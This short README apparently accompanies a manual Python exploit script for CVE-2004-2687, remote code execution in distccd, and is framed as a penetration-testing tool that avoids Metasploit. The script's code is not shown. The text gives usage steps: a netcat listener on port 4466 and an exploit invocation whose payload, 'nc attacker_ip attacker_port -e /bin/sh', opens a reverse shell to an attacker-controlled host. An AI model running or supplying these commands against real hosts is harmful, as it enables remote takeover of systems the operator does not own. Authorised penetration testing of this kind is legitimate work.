
Manual exploit script for CVE-2004-2687 (distccd RCE) that spawns a reverse shell via netcat without Metasploit, targeting remote hosts for penetration testing.
The goal of this script NOT to use Metasploit and to do it manually.
Usage:
nc -lvnp 4466
Running the exploit:
python3 ./exploit.py -t target_ip -p target_port -c "nc attacker_ip attacker_port -e /bin/sh"